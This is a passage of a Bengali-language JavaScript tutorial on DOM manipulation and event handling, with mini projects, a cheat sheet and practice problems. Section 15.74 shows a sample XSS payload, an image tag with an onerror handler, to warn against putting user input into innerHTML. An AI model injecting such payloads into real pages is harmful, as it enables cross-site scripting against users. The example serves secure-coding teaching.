
15.48 HTMLMarkup
<div id="container"></div>

JavaScript:

15.48 JavaScriptRun
let container = document.getElementById("container");

let paragraph = document.createElement("p");

paragraph.textContent = "Hello JavaScript";

container.append(paragraph);

DOM:

15.48 HTMLMarkup
<div id="container">
    <p>Hello JavaScript</p>
</div>
15.49 appendChild()
15.49 JavaScriptRun
container.appendChild(paragraph);

এটিও child element add করে।

15.50 append() বনাম appendChild()
append()appendChild()
Node এবং text দুটোই নিতে পারেNode নেয়
একাধিক item নিতে পারেসাধারণত একটি node
Modern ও flexibleTraditional DOM API

Example:

15.50 JavaScriptRun
container.append("Hello");

এটা সম্ভব।

কিন্তু:

15.50 JavaScriptRun
container.appendChild("Hello");

এটা valid node না হওয়ায় কাজ করবে না।

15.51 prepend()

Parent-এর শুরুতে element যোগ করতে:

15.51 JavaScriptRun
container.prepend(paragraph);
15.52 before()

কোনো element-এর আগে কিছু যোগ করতে:

15.52 JavaScriptRun
element.before(paragraph);
15.53 after()

কোনো element-এর পরে:

15.53 JavaScriptRun
element.after(paragraph);
15.54 Element Remove

Modern method:

15.54 JavaScriptRun
element.remove();

Example:

15.54 JavaScriptRun
let paragraph = document.querySelector("p");

paragraph.remove();
15.55 removeChild()

Parent থেকে child remove:

15.55 JavaScriptRun
container.removeChild(paragraph);
15.56 Element Replace
15.56 JavaScriptRun
container.replaceChildren(paragraph);

এটি container-এর existing children replace করে।

আর একটি নির্দিষ্ট child replace করতে:

15.56 JavaScriptRun
oldElement.replaceWith(newElement);
15.57 Clone করা

একটি DOM element copy করতে:

15.57 JavaScriptRun
let copy = element.cloneNode(true);

এখানে:

true → children-সহ clone false → শুধু element clone
Part 06 — DOM Traversal, Hierarchy & Tree Navigation (15.58 – 15.67)
15.58 Parent খুঁজে বের করা

HTML:

15.58 HTMLMarkup
<div id="parent">
    <p id="child">Hello</p>
</div>

JavaScript:

15.58 JavaScriptRun
let child = document.getElementById("child");

console.log(child.parentElement);

div পাওয়া যাবে।

15.59 Children
15.59 JavaScriptRun
let parent = document.getElementById("parent");

console.log(parent.children);

এটি শুধু element children দেখায়।

15.60 firstElementChild
15.60 JavaScriptRun
console.log(parent.firstElementChild);
15.61 lastElementChild
15.61 JavaScriptRun
console.log(parent.lastElementChild);
15.62 nextElementSibling

HTML:

15.62 HTMLMarkup
<p>One</p>
<p id="current">Two</p>
<p>Three</p>

JavaScript:

15.62 JavaScriptRun
let current = document.getElementById("current");

console.log(current.nextElementSibling);
15.62 HTMLMarkup
<p>Three</p>
15.63 previousElementSibling
15.63 JavaScriptRun
console.log(current.previousElementSibling);
15.63 HTMLMarkup
<p>One</p>
15.64 DOM Traversal

DOM traversal মানে DOM Tree-এর মধ্যে এক element থেকে অন্য element-এ যাওয়া।

Important properties:

15.64 JavaScriptRun
parentElement
children
firstElementChild
lastElementChild
nextElementSibling
previousElementSibling
15.65 children বনাম childNodes
15.65 JavaScriptRun
element.children

→ শুধু element children।

15.65 JavaScriptRun
element.childNodes

→ text node, comment node সহ বিভিন্ন node থাকতে পারে।

Example:

15.65 HTMLMarkup
<div>
    Hello
    <p>World</p>
</div>

এখানে whitespace/text node থাকার কারণে childNodes এবং children-এর result একই নাও হতে পারে।

15.66 closest()

কোনো element-এর কাছের matching ancestor খুঁজতে:

15.66 JavaScriptRun
let button = document.querySelector("button");

let card = button.closest(".card");

Real-world application-এ এটি খুব useful।

15.67 matches()

কোনো element CSS selector match করছে কিনা:

15.67 JavaScriptRun
if (element.matches(".active")) {
    console.log("Active");
}
Part 07 — Hands-On DOM Mini Projects & Custom Dataset (15.68 – 15.71)
15.68 DOM Mini Project — Counter

এখন একটি ছোট project করি।

HTML
15.68 HTMLMarkup
<h1 id="count">0</h1>

<button id="increase">+</button>
<button id="decrease">-</button>
JavaScript
15.68 JavaScriptRun
let count = 0;

let countElement = document.getElementById("count");

let increaseButton =
    document.getElementById("increase");

let decreaseButton =
    document.getElementById("decrease");

increaseButton.addEventListener("click", function () {

    count++;

    countElement.textContent = count;

});

decreaseButton.addEventListener("click", function () {

    count--;

    countElement.textContent = count;

});

এখানে আমরা addEventListener() ব্যবহার করেছি, যেটা Chapter 16-এ বিস্তারিত শিখব।

15.69 DOM Mini Project — Dynamic List

HTML:

15.69 HTMLMarkup
<input id="taskInput" type="text">

<button id="addButton">Add Task</button>

<ul id="taskList"></ul>

JavaScript:

15.69 JavaScriptRun
let input = document.getElementById("taskInput");
let button = document.getElementById("addButton");
let list = document.getElementById("taskList");

button.addEventListener("click", function () {

    let task = input.value;

    if (task === "") {
        return;
    }

    let li = document.createElement("li");

    li.textContent = task;

    list.append(li);

    input.value = "";

});

User লিখবে:

Text
Learn JavaScript

তারপর Add চাপলে:

Text
• Learn JavaScript

এভাবে dynamic list তৈরি হবে।

15.70 DOM Mini Project — Dark Mode

HTML:

15.70 HTMLMarkup
<button id="themeButton">
    Toggle Dark Mode
</button>

CSS:

15.70 CSSStylesheet
.dark {
      background-color: black;
      color: white;
}

JavaScript:

15.70 JavaScriptRun
let button = document.getElementById("themeButton");

button.addEventListener("click", function () {

    document.body.classList.toggle("dark");

});

Button click করলে:

Light → Dark Dark → Light
15.71 dataset

HTML:

15.71 HTMLMarkup
<button
    id="product"
    data-id="101"
    data-category="laptop">
    Laptop
</button>

JavaScript:

15.71 JavaScriptRun
let product = document.getElementById("product");

console.log(product.dataset.id);
console.log(product.dataset.category);
Text
101
laptop

data-* attributes custom data রাখার জন্য useful।

Part 08 — DOM Engine Internals, Security & Execution Lifecycle (15.72 – 15.78)
15.72 DOM-এর কিছু গুরুত্বপূর্ণ Properties
Propertyকাজ
textContentText পড়া/লেখা
innerHTMLHTML পড়া/লেখা
innerTextVisible text
valueInput value
styleInline CSS
classListCSS class manage
idElement ID
childrenElement children
parentElementParent
datasetdata-* values
15.73 DOM-এর গুরুত্বপূর্ণ Methods
Methodকাজ
getElementById()ID দিয়ে select
getElementsByClassName()Class দিয়ে select
getElementsByTagName()Tag দিয়ে select
querySelector()প্রথম matching element
querySelectorAll()সব matching elements
createElement()Element তৈরি
append()শেষে add
prepend()শুরুতে add
remove()Remove
replaceWith()Replace
cloneNode()Clone
closest()Ancestor খোঁজা
matches()Selector match check
getAttribute()Attribute পড়া
setAttribute()Attribute set
removeAttribute()Attribute remove
hasAttribute()Attribute আছে কিনা
15.74 innerHTML` ব্যবহারে সতর্কতা

ধরো user input:

15.74 JavaScriptRun
let userInput = "<img src=x onerror=alert('Hacked')>";

এটা সরাসরি:

15.74 JavaScriptRun
element.innerHTML = userInput;

দিলে security problem হতে পারে।

এ ধরনের issue-কে সাধারণভাবে XSS (Cross-Site Scripting) বলা হয়।

User-provided plain text দেখানোর ক্ষেত্রে:

15.74 JavaScriptRun
element.textContent = userInput;

সাধারণত safer approach।

Security chapter-এ আমরা XSS আরও বিস্তারিত দেখব।

15.75 Static vs Live Collections
এটি একটু advanced কিন্তু গুরুত্বপূর্ণ।

getElementsByClassName() সাধারণত live HTMLCollection দেয়।

15.75 JavaScriptRun
let items = document.getElementsByClassName("item");

DOM পরিবর্তন হলে collection-এর content automatically update হতে পারে।

অন্যদিকে:

15.75 JavaScriptRun
let items = document.querySelectorAll(".item");

সাধারণত static NodeList দেয়।

অর্থাৎ পরে DOM-এ নতুন matching element যোগ করলেও আগের NodeList automatically update হবে না।

15.76 DOM Ready হওয়ার বিষয়

যদি JavaScript HTML element তৈরি হওয়ার আগেই execute করে:

15.76 JavaScriptRun
let title = document.getElementById("title");

console.log(title);

তাহলে null পাওয়া যেতে পারে।

একটি common solution হলো script-কে HTML-এর শেষে রাখা:

15.76 HTMLMarkup
<body>

    <h1 id="title">Hello</h1>

    <script src="script.js"></script>

</body>

আরেকটি approach হলো:

15.76 JavaScriptRun
document.addEventListener("DOMContentLoaded", function () {

    let title = document.getElementById("title");

    console.log(title);

});

DOMContentLoaded আমরা Events chapter-এ আরও বিস্তারিত দেখব।

15.77 DOM-এর পুরো Mental Model

একটি webpage-কে এভাবে চিন্তা করো:

HTML ↓ Browser parses HTML ↓ DOM Tree তৈরি ↓ JavaScript DOM select করে ↓ Content / Attribute / Style / Structure change ↓ Browser updated UI দেখায়
15.78 Must Know

JavaScript দিয়ে frontend development করতে হলে এগুলো অবশ্যই ভালোভাবে জানতে হবে:

Selection
15.78 JavaScriptRun
getElementById()
getElementsByClassName()
getElementsByTagName()
querySelector()
querySelectorAll()
Content
15.78 JavaScriptRun
textContent
innerText
innerHTML
Attributes
15.78 JavaScriptRun
getAttribute()
setAttribute()
hasAttribute()
removeAttribute()
Classes
15.78 JavaScriptRun
classList.add()
classList.remove()
classList.toggle()
classList.contains()
classList.replace()
Style
15.78 JavaScriptRun
element.style.color
element.style.backgroundColor
element.style.fontSize
Create
15.78 JavaScriptRun
document.createElement()
Insert
15.78 JavaScriptRun
append()
appendChild()
prepend()
before()
after()
Remove
15.78 JavaScriptRun
remove()
removeChild()
Traversal
15.78 JavaScriptRun
parentElement
children
firstElementChild
lastElementChild
nextElementSibling
previousElementSibling
closest()
Data
15.78 JavaScriptRun
dataset
Part 09 — Quick Cheat Sheet, Practice Lab (12 Problems) & Final Summary
CHEAT SHEET 🧠 Quick Cheat Sheet — Core DOM Syntax
JavaScriptRun
// Select
document.getElementById("title");

document.querySelector(".box");

document.querySelectorAll(".item");

// Content
element.textContent = "Hello";

element.innerHTML = "<b>Hello</b>";

// Attribute
element.setAttribute("title", "Hello");

element.getAttribute("title");

element.removeAttribute("title");

// Class
element.classList.add("active");

element.classList.remove("active");

element.classList.toggle("active");

// Style
element.style.color = "red";

// Create
let div = document.createElement("div");

// Add
parent.append(div);

// Remove
div.remove();

// Parent
element.parentElement;

// Children
element.children;

// Data
element.dataset.id;
PRACTICE LAB 📝 Chapter 15 Practice Set — 12 Hands-on Problems
LEVEL: BEGINNER

1. একটি <h1> element তৈরি করে JavaScript দিয়ে তার text পরিবর্তন করো।

2. একটি paragraph-এর color JavaScript দিয়ে পরিবর্তন করো।

3. একটি button-এর text পরিবর্তন করো।

4. একটি image-এর src এবং alt JavaScript দিয়ে পরিবর্তন করো।

LEVEL: INTERMEDIATE

5. একটি input থেকে name নিয়ে <h2>-এ দেখাও।

6. JavaScript দিয়ে নতুন <li> তৈরি করে <ul>-এ add করো।

7. একটি button click করলে একটি CSS class toggle করো।

8. পাঁচটি paragraph select করে প্রত্যেকটির text পরিবর্তন করো।

LEVEL: ADVANCED

9. একটি dynamic Todo List বানাও:

Input ↓ Add Task ↓ Task List ↓ Delete Task

10. একটি Product Card JavaScript দিয়ে dynamically তৈরি করো:

Product Image Product Name Price Add to Cart Button

11. data-id ব্যবহার করে প্রতিটি product-এর ID store করো।

12. closest() ব্যবহার করে একটি card-এর parent element বের করো।

SUMMARY 🎯 Chapter 15 Final Summary — DOM Architecture & Lifecycle

আজ পর্যন্ত আমরা JavaScript-এর ভিতরের language concepts থেকে এসে Browser-এর HTML-এর সাথে JavaScript-এর connection শিখলাম।

সবচেয়ে গুরুত্বপূর্ণ flow:
document ↓ Select Element ↓ Read / Modify ↓ Content Attribute Style Class ↓ Create / Add / Remove ↓ Dynamic Webpage
আর DOM-এর সবচেয়ে গুরুত্বপূর্ণ ৫টি skill:
Text
1. Select
2. Read
3. Modify
4. Create
5. Remove
একজন Frontend / Full Stack Developer হিসেবে DOM খুব ভালোভাবে জানা অত্যন্ত গুরুত্বপূর্ণ, কারণ React শেখার আগেও বুঝতে হবে browser-এর HTML/UI আসলে কীভাবে কাজ করে।
NEXT CHAPTER 📘 Chapter 16 Preview — JavaScript Events & Event Handling

পরবর্তী: Chapter 16 — JavaScript Events & Event Handling এখানে আমরা click, input, change, submit, keyboard events, mouse events, event object, addEventListener(), event bubbling, capturing, delegation, preventDefault(), stopPropagation()—সব বিস্তারিত শিখব।

Chapter 16
↑ Index
Events & Event Handling — ইভেন্ট হ্যান্ডলিং ও ডেলিগেশন
Total Sections
66 Modules + Practice
Curriculum Part
Part 10 — Browser Interaction & UI Events
Core Mechanics
addEventListener, Event Object, Bubbling & Delegation
Reference Standard
W3C DOM Events / ECMAScript 2026

Events & Event Handling — Events এবং User Interaction

এখন আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ practical বিষয়গুলোর একটি শিখব — Events। DOM Chapter-এ আমরা শিখেছি কীভাবে HTML element select করে পরিবর্তন করতে হয়। কিন্তু একটি webpage-এ user যখন বাটন ক্লিক করে, ইনপুটে লিখে, মাউস সরায়, কিবোর্ড প্রেস করে কিংবা ফর্ম সাবমিট করে—তখন জাভাস্ক্রিপ্ট কীভাবে বুঝবে যে কিছু একটা ঘটেছে? এর উত্তর হলো 👉 Event

User / Browser Action  →  Event Triggered  →  Event Listener (Callback)  →  Event Object  →  Dynamic Response

ইভেন্ট হ্যান্ডলিং হলো ইন্টারঅ্যাক্টিভ ও ডায়নামিক ফ্রন্টএন্ড ওয়েব ডেভেলপমেন্টের চালিকাশক্তি। 🔥

Part 01 — Event Foundations, Handlers & addEventListener (16.1 – 16.10)
16.1 Event কী?

Event হলো webpage-এ ঘটে যাওয়া কোনো action বা ঘটনা।

সহজভাবে:

User বা browser-এর কোনো action ঘটলে সেটাকে Event বলা হয়।
💡 Real-Life Example

ধরো একটি door:

Door ↓ Someone knocks ↓ You hear it ↓ You open the door

Webpage:

Button ↓ User clicks ↓ Browser detects event ↓ JavaScript runs code
16.2 Common Events

JavaScript-এ অনেক ধরনের event আছে।

EventMeaning
clickMouse click
dblclickDouble click
mousedownMouse button press
mouseupMouse button release
mousemoveMouse move
mouseenterElement-এর ভিতরে mouse ঢোকে
mouseleaveElement থেকে mouse বের হয়
keydownKeyboard key press
keyupKeyboard key release
inputInput value change
changeForm value change/commit
submitForm submit
focusElement focus পায়
blurElement focus হারায়
loadResource/page load
scrollPage scroll
resizeWindow resize
16.3 Event Handler কী?

Event ঘটলে যে function execute হয় তাকে সাধারণভাবে Event Handler বলা হয়।

Example:

16.3 JavaScriptRun
function handleClick() {
    console.log("Button clicked!");
}

এই function-কে click event-এর সাথে connect করলে এটি event handler হিসেবে কাজ করবে।

16.4 প্রথম Event Example

HTML:

16.4 HTMLMarkup
<button id="btn">Click Me</button>

JavaScript:

16.4 JavaScriptRun
let button = document.getElementById("btn");

button.addEventListener("click", function () {
    console.log("Button clicked!");
});

Button click করলে:

Button clicked!
16.5 addEventListener()
এটি JavaScript-এ event handle করার সবচেয়ে গুরুত্বপূর্ণ method।

Syntax:

16.5 JavaScriptRun
element.addEventListener("event", function () {
    // code
});

Example:

16.5 JavaScriptRun
button.addEventListener("click", function () {
    console.log("Hello");
});

এখানে:

button ↓ addEventListener() ↓ "click" ↓ function()
16.6 Named Function ব্যবহার

Anonymous function-এর পরিবর্তে named function-ও ব্যবহার করা যায়।

16.6 JavaScriptRun
function handleClick() {
    console.log("Clicked!");
}

button.addEventListener("click", handleClick);
📌 খুব গুরুত্বপূর্ণ

সঠিক:

16.6 JavaScriptRun
button.addEventListener("click", handleClick);

ভুল:

16.6 JavaScriptRun
button.addEventListener("click", handleClick());

কারণ handleClick() দিলে function তখনই execute হয়ে যাবে।

16.7 onclick` Property

Event handle করার আরেকটি উপায়:

16.7 JavaScriptRun
button.onclick = function () {
    console.log("Clicked!");
};

এটি কাজ করে।

কিন্তু সাধারণত modern code-এ:

16.7 JavaScriptRun
addEventListener()

বেশি flexible।

16.8 HTML Inline Event

HTML-এর ভিতরেও event লেখা যায়:

16.8 HTMLMarkup
<button onclick="sayHello()">
    Click Me
</button>

JavaScript:

16.8 JavaScriptRun
function sayHello() {
    alert("Hello!");
}

এটি কাজ করলেও বড় application-এ HTML এবং JavaScript আলাদা রাখা সাধারণত cleaner approach।

16.9 addEventListener()` কেন গুরুত্বপূর্ণ?

একই element-এ multiple event listener দেওয়া যায়।

16.9 JavaScriptRun
button.addEventListener("click", function () {
    console.log("First");
});

button.addEventListener("click", function () {
    console.log("Second");
});

Click করলে:

Text
First
Second
16.10 Event Listener Remove

একটি listener remove করতে একই function reference দরকার।

16.10 JavaScriptRun
function handleClick() {
    console.log("Clicked");
}

button.addEventListener("click", handleClick);

button.removeEventListener("click", handleClick);

এখন click করলে function আর execute হবে না।

📌 Important

এটি কাজ করবে না:

16.10 JavaScriptRun
button.addEventListener("click", function () {
    console.log("Clicked");
});

button.removeEventListener("click", function () {
    console.log("Clicked");
});

কারণ দুইটি anonymous function আলাদা function object।

Part 02 — The Event Object & Target Mechanics (16.11 – 16.15)
16.11 Event Object

Event ঘটলে browser একটি event object তৈরি করে।

16.11 JavaScriptRun
button.addEventListener("click", function (event) {
    console.log(event);
});

এখানে:

16.11 JavaScriptRun
event

এর মধ্যে event-এর অনেক information থাকে।

16.12 event.target

যে element-এ event ঘটেছে সেটি:

16.12 JavaScriptRun
event.target

Example:

16.12 JavaScriptRun
button.addEventListener("click", function (event) {
    console.log(event.target);
});
16.12 HTMLMarkup
<button id="btn">Click Me</button>
16.13 event.currentTarget

যে element-এর ওপর listener attached হয়েছে:

16.13 JavaScriptRun
event.currentTarget

অনেক সময়:

target === currentTarget

হতে পারে।

কিন্তু event bubbling-এর সময় এদের মধ্যে পার্থক্য খুব গুরুত্বপূর্ণ হয়ে যায়।
16.14 event.type

Event-এর নাম পাওয়া যায়:

16.14 JavaScriptRun
button.addEventListener("click", function (event) {
    console.log(event.type);
});
Text
click
16.15 event.timeStamp

Event কখন ঘটেছে তার timing information:

16.15 JavaScriptRun
button.addEventListener("click", function (event) {
    console.log(event.timeStamp);
});
Part 03 — Mouse & Keyboard Interaction Events (16.16 – 16.29)
16.16 Mouse Click Event
16.16 JavaScriptRun
button.addEventListener("click", function () {
    console.log("Clicked");
});
16.17 Double Click
16.17 JavaScriptRun
button.addEventListener("dblclick", function () {
    console.log("Double clicked");
});
16.18 Mouse Down

Mouse button press করলে:

16.18 JavaScriptRun
button.addEventListener("mousedown", function () {
    console.log("Mouse button pressed");
});
16.19 Mouse Up

Mouse button release:

16.19 JavaScriptRun
button.addEventListener("mouseup", function () {
    console.log("Mouse button released");
});
16.20 Mouse Move
16.20 JavaScriptRun
document.addEventListener("mousemove", function () {
    console.log("Mouse moving");
});
⚠️ এটি খুব ঘন ঘন fire হতে পারে। তাই performance-sensitive code-এ সাবধান হতে হবে।
16.21 mouseenter

Mouse কোনো element-এর ভিতরে ঢুকলে:

16.21 JavaScriptRun
box.addEventListener("mouseenter", function () {
    console.log("Mouse entered");
});
16.22 mouseleave

Mouse element থেকে বের হলে:

16.22 JavaScriptRun
box.addEventListener("mouseleave", function () {
    console.log("Mouse left");
});
16.23 Keyboard Events
Keyboard-এর জন্য গুরুত্বপূর্ণ:
Text
keydown
keyup
16.24 keydown

কোনো key press করলে:

16.24 JavaScriptRun
document.addEventListener("keydown", function (event) {
    console.log(event.key);
});

তুমি A press করলে:

Text
a

Enter:

Text
Enter

Escape:

Text
Escape
16.25 keyup

Key release করলে:

16.25 JavaScriptRun
document.addEventListener("keyup", function (event) {
    console.log(event.key);
});
16.26 event.code

event.key key-এর value দেয়।

event.code physical keyboard key-এর নাম দেয়।

16.26 JavaScriptRun
document.addEventListener("keydown", function (event) {

    console.log("Key:", event.key);
    console.log("Code:", event.code);

});

A press করলে browser সাধারণত:

Text
Key: a
Code: KeyA
16.27 event.key বনাম event.code
keycode
Press করা key-এর valuePhysical key
"a""KeyA"
"Enter""Enter"
" ""Space"
16.28 Keyboard Shortcut

ধরো:

Text
Ctrl + S

detect করতে:

16.28 JavaScriptRun
document.addEventListener("keydown", function (event) {

    if (event.ctrlKey && event.key === "s") {
        console.log("Save shortcut");
    }

});
16.29 Modifier Keys

Event object-এ পাওয়া যায়:

16.29 JavaScriptRun
event.ctrlKey
event.shiftKey
event.altKey
event.metaKey

Example:

16.29 JavaScriptRun
document.addEventListener("keydown", function (event) {

    if (event.shiftKey) {
        console.log("Shift is pressed");
    }

});
Part 04 — Form, Input, Focus & Window Events (16.30 – 16.42)
16.30 Input Event

User input field-এ typing করলে input event fire হয়।

HTML:

16.30 HTMLMarkup
<input id="nameInput">

JavaScript:

16.30 JavaScriptRun
let input = document.getElementById("nameInput");

input.addEventListener("input", function (event) {

    console.log(event.target.value);

});

User লিখলে:

Text
S
Sh
Sha
Shar
Shariar

প্রতিবার event fire হতে পারে।

16.31 change` Event
16.31 JavaScriptRun
input.addEventListener("change", function () {
    console.log("Value changed");
});

input এবং change এক নয়।

সাধারণভাবে:

input → typing/change-এর সময় continuously fire change → value committed/changed হওয়ার পর fire
16.32 Focus Event

Input focus পেলে:

16.32 JavaScriptRun
input.addEventListener("focus", function () {
    console.log("Input focused");
});
16.33 Blur Event

Input focus হারালে:

16.33 JavaScriptRun
input.addEventListener("blur", function () {
    console.log("Input lost focus");
});
16.34 Form Submit Event

HTML:

16.34 HTMLMarkup
<form id="loginForm">

    <input id="email">

    <button type="submit">
        Login
    </button>

</form>

JavaScript:

16.34 JavaScriptRun
let form = document.getElementById("loginForm");

form.addEventListener("submit", function () {

    console.log("Form submitted");

});
16.35 preventDefault()

Form submit করলে browser সাধারণত default action করতে পারে, যেমন page reload/navigation।

এটা বন্ধ করতে:

16.35 JavaScriptRun
form.addEventListener("submit", function (event) {

    event.preventDefault();

    console.log("Submit handled by JavaScript");

});
এটি web development-এ অত্যন্ত গুরুত্বপূর্ণ।
16.36 Real-Life Login Form
16.36 JavaScriptRun
form.addEventListener("submit", function (event) {

    event.preventDefault();

    let email = document.getElementById("email").value;

    if (email === "") {
        console.log("Email is required");
        return;
    }

    console.log("Login request sent");

});
16.37 Checkbox Change
16.37 HTMLMarkup
<input id="terms" type="checkbox">
16.37 JavaScriptRun
let terms = document.getElementById("terms");

terms.addEventListener("change", function () {

    console.log(terms.checked);

});
16.38 Select Change

HTML:

16.38 HTMLMarkup
<select id="department">

    <option value="cse">CSE</option>
    <option value="eee">EEE</option>
    <option value="bba">BBA</option>

</select>

JavaScript:

16.38 JavaScriptRun
department.addEventListener("change", function () {

    console.log(department.value);

});
16.39 Window Events

শুধু HTML elements নয়, window-এরও events আছে।

16.39 JavaScriptRun
window.addEventListener("resize", function () {
    console.log("Window resized");
});
16.40 Scroll Event
16.40 JavaScriptRun
window.addEventListener("scroll", function () {
    console.log("Page scrolling");
});
⚠️ Scroll event-ও অনেকবার fire হতে পারে।
16.41 Load Event

Page/resources load হলে:

16.41 JavaScriptRun
window.addEventListener("load", function () {
    console.log("Page fully loaded");
});
16.42 DOMContentLoaded

HTML document parse শেষ হলে:

16.42 JavaScriptRun
document.addEventListener("DOMContentLoaded", function () {

    console.log("DOM ready");

});

এটি DOM manipulation শুরু করার জন্য খুব useful।

Part 05 — Event Propagation: Bubbling, Capturing & Delegation (16.43 – 16.58)
16.43 Event Bubbling
এটি Chapter 16-এর সবচেয়ে গুরুত্বপূর্ণ advanced concept-এর একটি।

HTML:

16.43 HTMLMarkup
<div id="parent">

    <button id="child">
        Click
    </button>

</div>

JavaScript:

16.43 JavaScriptRun
let parent = document.getElementById("parent");
let child = document.getElementById("child");

child.addEventListener("click", function () {
    console.log("Child");
});

parent.addEventListener("click", function () {
    console.log("Parent");
});

Button click করলে:

Child Parent

কেন?

কারণ event child থেকে parent-এর দিকে bubble করে।

16.44 Event Bubbling-এর Mental Model
Button ↑ Parent ↑ Body ↑ HTML ↑ Document ↑ Window

Event সাধারণত target থেকে উপরের দিকে propagate করে।

16.45 event.target বনাম event.currentTarget

এখন পার্থক্যটা বুঝো।

16.45 JavaScriptRun
parent.addEventListener("click", function (event) {

    console.log("Target:", event.target);
    console.log("Current:", event.currentTarget);

});

যদি child button click করো:

Target → button CurrentTarget → parent
📌 মনে রাখো
target → যেখানে event শুরু হয়েছে currentTarget → যেখানে listener attached
16.46 stopPropagation()

Event bubbling বন্ধ করতে:

16.46 JavaScriptRun
child.addEventListener("click", function (event) {

    event.stopPropagation();

    console.log("Child clicked");

});

এখন parent listener সাধারণ bubbling-এর কারণে execute হবে না।

16.47 Event Capturing

Event propagation-এর একটি phase হলো capturing

সাধারণভাবে event flow:

Capturing ↓ Target ↓ Bubbling
16.48 Capturing Listener

addEventListener()-এর third argument বা options ব্যবহার করে capture করা যায়।

16.48 JavaScriptRun
parent.addEventListener(
    "click",
    function () {
        console.log("Parent capture");
    },
    true
);

এখন parent capture phase-এ event পেতে পারে।

Modern style:

16.48 JavaScriptRun
parent.addEventListener(
    "click",
    function () {
        console.log("Parent capture");
    },
    { capture: true }
);
16.49 Event Propagation

পুরো concept:

Window ↓ Document ↓ HTML ↓ Body ↓ Parent ↓ Button ↑ Target ↑ Parent ↑ Body ↑ Document ↑ Window

প্রথম অংশ:

Capturing

তারপর:

Target

শেষে:

Bubbling
16.50 Event Delegation
এটি খুব গুরুত্বপূর্ণ professional technique।

ধরো:

16.50 HTMLMarkup
<ul id="list">

    <li>Apple</li>
    <li>Banana</li>
    <li>Mango</li>

</ul>

প্রতিটি <li>-তে আলাদা listener না দিয়ে parent-এ listener দিতে পারো।

16.50 JavaScriptRun
let list = document.getElementById("list");

list.addEventListener("click", function (event) {

    if (event.target.matches("li")) {
        console.log(event.target.textContent);
    }

});

Apple click:

Text
Apple

Mango click:

Text
Mango
16.51 Event Delegation কেন দরকার?

ধরো 1000টি button আছে।

খারাপ approach:

Button 1 → listener Button 2 → listener Button 3 → listener ... Button 1000 → listener

Delegation:

Parent ↓ একটি listener ↓ Target identify

এতে code cleaner এবং অনেক ক্ষেত্রে resource usage কমে।

16.52 Dynamic Elements এবং Event Delegation
এটি খুব গুরুত্বপূর্ণ।

ধরো পরে JavaScript দিয়ে নতুন <li> তৈরি করলে:

16.52 JavaScriptRun
let li = document.createElement("li");

li.textContent = "Orange";

list.append(li);

Parent-এর delegated listener থাকলে নতুন li-তেও click handling কাজ করতে পারে।

16.53 preventDefault() বনাম stopPropagation()

দুটো একদম আলাদা।

Methodকাজ
preventDefault()Browser-এর default action বন্ধ
stopPropagation()Event propagation বন্ধ

Example:

16.53 JavaScriptRun
event.preventDefault();

→ form submit/navigation-এর default behavior বন্ধ করতে পারে।

16.53 JavaScriptRun
event.stopPropagation();

→ parent-এর দিকে event propagation বন্ধ করে।

16.54 stopImmediatePropagation()

একই element-এ multiple listener থাকলে অন্য listener-গুলোর execution-ও থামাতে পারে।

16.54 JavaScriptRun
event.stopImmediatePropagation();

এটি advanced use case-এ প্রয়োজন হয়।

16.55 Event Options

addEventListener()-এর third parameter-এ options দেওয়া যায়।

16.55 JavaScriptRun
button.addEventListener(
    "click",
    handleClick,
    {
        once: true
    }
);
16.56 once
16.56 JavaScriptRun
button.addEventListener(
    "click",
    function () {
        console.log("Runs once");
    },
    {
        once: true
    }
);

Button যতবার click করো, শুধু প্রথমবার execute হবে।

16.57 capture
16.57 JavaScriptRun
element.addEventListener(
    "click",
    handleClick,
    {
        capture: true
    }
);

Capture phase-এ listener চালাবে।

16.58 passive
16.58 JavaScriptRun
window.addEventListener(
    "scroll",
    handleScroll,
    {
        passive: true
    }
);

Browser-কে জানানো হয় যে listener সাধারণত preventDefault() ব্যবহার করবে না।

বিশেষ করে touch/scroll performance-এর ক্ষেত্রে এটি গুরুত্বপূর্ণ হতে পারে।
Part 06 — Real-World Interactive Patterns & Complete Event Flow (16.59 – 16.65)
16.59 Real-Life Example — Character Counter

HTML:

16.59 HTMLMarkup
<textarea id="message"></textarea>

<p>
    Characters:
    <span id="count">0</span>
</p>

JavaScript:

16.59 JavaScriptRun
let message = document.getElementById("message");
let count = document.getElementById("count");

message.addEventListener("input", function () {

    count.textContent = message.value.length;

});

User লিখলে:

Text
Hello

দেখাবে:

Text
Characters: 5
16.60 Real-Life Example — Live Search

HTML:

16.60 HTMLMarkup
<input id="search" placeholder="Search...">

<ul id="results"></ul>

JavaScript:

16.60 JavaScriptRun
let search = document.getElementById("search");
let results = document.getElementById("results");

let products = [
    "Laptop",
    "Mouse",
    "Keyboard",
    "Monitor"
];

search.addEventListener("input", function () {

    let keyword = search.value.toLowerCase();

    results.innerHTML = "";

    let filtered = products.filter(function (product) {
        return product.toLowerCase().includes(keyword);
    });

    filtered.forEach(function (product) {

        let li = document.createElement("li");

        li.textContent = product;

        results.append(li);

    });

});

এখানে:

User types ↓ input event ↓ Search data ↓ filter() ↓ DOM update
16.61 Real-Life Example — Password Visibility

HTML:

16.61 HTMLMarkup
<input id="password" type="password">

<button id="toggle">
    Show
</button>

JavaScript:

16.61 JavaScriptRun
let password = document.getElementById("password");
let toggle = document.getElementById("toggle");

toggle.addEventListener("click", function () {

    if (password.type === "password") {

        password.type = "text";
        toggle.textContent = "Hide";

    } else {

        password.type = "password";
        toggle.textContent = "Show";

    }

});

এটি real-world login/signup form-এ ব্যবহৃত হয়।

16.62 Real-Life Example — Form Validation
16.62 JavaScriptRun
form.addEventListener("submit", function (event) {

    event.preventDefault();

    let email = document.getElementById("email").value;

    if (!email.includes("@")) {

        console.log("Invalid email");

        return;
    }

    console.log("Form submitted successfully");

});
16.63 Event Handler-এর ভিতরে `this

Regular function ব্যবহার করলে event listener-এর ক্ষেত্রে this সাধারণত যে element-এ listener attached হয়েছে সেটিকে refer করতে পারে।

16.63 JavaScriptRun
button.addEventListener("click", function () {

    console.log(this);

});

সাধারণত:

this → button

কিন্তু arrow function-এর নিজের this binding নেই।

16.63 JavaScriptRun
button.addEventListener("click", () => {

    console.log(this);

});

এখানে this lexical context থেকে আসবে।

16.64 Event Listener + Arrow Function

Arrow function অবশ্যই ব্যবহার করা যায়:

16.64 JavaScriptRun
button.addEventListener("click", (event) => {

    console.log(event.target);

});

এক্ষেত্রে element access করতে:

16.64 JavaScriptRun
event.currentTarget

ব্যবহার করা সুবিধাজনক হতে পারে।

16.65 Event Flow-এর Complete Example

HTML:

16.65 HTMLMarkup
<div id="parent">

    <button id="button">
